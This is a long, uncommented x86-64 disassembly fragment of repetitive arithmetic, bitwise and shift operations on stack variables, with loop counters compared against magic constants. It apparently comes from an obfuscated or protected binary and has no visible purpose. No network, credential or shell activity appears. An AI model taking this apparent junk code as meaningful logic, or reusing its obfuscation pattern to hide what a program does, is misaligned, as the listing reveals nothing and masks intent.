mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x17c8], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
and eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x66c]
or eax, ecx
mov word [rsp + 0x660], ax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14015a008], ax
movzx eax, word [rsp + 0x670]
movzx ecx, word [0x14015ae50]
sar eax, cl
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
jmp 0x140059d26
cmp dword [rsp + 0x170c], 0x2b61
jb 0x14005a59c
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x670]
sub eax, ecx
mov word [0x14015ae50], ax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x660], ax
mov eax, dword [rsp + 0x17c8]
mov ecx, dword [rsp + 0x172c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x170c]
sub eax, 0x29
mov dword [rsp + 0x170c], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xd0]
sar eax, cl
mov byte [rsp + 0xcf], al
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x65c]
shl eax, cl
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
and eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x17c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1788]
movzx ecx, al
mov eax, dword [rsp + 0x172c]
shl eax, cl
mov dword [rsp + 0x17c8], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1770]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
and eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x664]
movzx ecx, word [0x14015ae50]
sar eax, cl
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x670]
shl eax, cl
mov word [rsp + 0x664], ax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1714]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [0x14015a00c]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x66c], ax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov word [rsp + 0x670], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcf]
shl eax, cl
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
jmp 0x140059fa5
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2db0]
mov qword [rsp + 0x2e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
add eax, ecx
mov word [rsp + 0x664], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a008]
add eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1718]
add eax, 0xe5
mov dword [rsp + 0x1718], eax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d88]
mov qword [rsp + 0x2e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
sar eax, cl
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xce], al
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [0x14015ae50]
movzx ecx, word [rsp + 0x670]
add eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x172c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1788], eax
mov eax, dword [rsp + 0x1728]
mov ecx, dword [rsp + 0x1714]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
cmp dword [rsp + 0x1718], 0xa005
jne 0x14005a59c
cmp dword [rsp + 0x1768], 0x2503
jae 0x14005acca
movzx eax, word [rsp + 0x670]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x664], ax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x668]
xor eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov eax, dword [rsp + 0x1788]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2e98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov eax, dword [rsp + 0x17c8]
mov ecx, dword [rsp + 0x172c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1768]
add eax, 0x67
mov dword [rsp + 0x1768], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
or eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
shl eax, cl
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcf]
and eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x66c]
sub eax, ecx
mov word [0x14015a00c], ax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x66c]
xor eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
jmp 0x14005a8a0
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x2ea0], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d88]
mov qword [rsp + 0x2ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ea8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1714]
movzx ecx, al
mov eax, dword [rsp + 0x1770]
shl eax, cl
mov dword [rsp + 0x1798], eax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x670]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov word [rsp + 0x65c], ax
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x670]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1770], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [0x14015a00c]
sar eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
or eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd0], al
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x668]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [0x14015a008], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1798]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ea0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2bf0]
sar rax, cl
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1754]
sub eax, 0xde
mov dword [rsp + 0x1754], eax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
shl eax, cl
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2e30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x17c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2dc0]
mov rcx, qword [rsp + 0x2db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movsx eax, word [0x14015a00c]
movsx ecx, word [rsp + 0x668]
or eax, ecx
mov word [0x14015a008], ax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
sar eax, cl
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
cmp dword [rsp + 0x1754], 0x8352
jae 0x14005acda
